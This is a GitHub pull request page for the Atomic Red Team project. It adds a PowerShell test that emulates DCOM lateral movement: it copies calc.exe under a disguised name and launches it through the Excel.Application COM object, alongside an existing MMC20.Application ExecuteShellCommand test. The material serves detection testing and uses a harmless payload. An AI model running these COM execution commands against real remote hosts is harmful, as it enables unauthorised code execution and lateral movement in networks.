Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Atomic - Excel Application Object for LM #2582

Merged
merged 12 commits into from
Nov 8, 2023
54 changes: 0 additions & 54 deletions atomics/T1021.003/T1021.003.md
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this markdown file is automatically generated from the yaml by the tooling in the project and will be clobbered would you mind removing it?

This file was deleted.

39 changes: 39 additions & 0 deletions atomics/T1021.003/T1021.003.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -22,3 +22,42 @@ atomic_tests:
command: |
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")
name: powershell
- name: PowerShell Lateral Movement Using Excel Application Object
description: |
Powershell lateral movement using the Excel COM objects.

Reference:

https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922

Upon successful execution, cmd will spawn calc.exe on a remote computer.
supported_platforms:
- windows
dependencies:
- description: |
Microsoft Excel must be installed
prereq_command: |
try {
New-Object -COMObject "Excel.Application" | Out-Null
Stop-Process -Name "Excel"
exit 0
} catch { exit 1 }
get_prereq_command: |
Write-Host "You will need to install Microsoft Excel manually to meet this requirement"
cleanup_command: |
Remove-Item 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
input_arguments:
computer_name:
description: Hostname or IP
type: string
default: localhost
josehelps marked this conversation as resolved.
Show resolved Hide resolved
user:
description: Name of user
type: string
default: admin
executor:
command: |
copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost"))
$com.ActivateMicrosoftApp("5")
name: powershell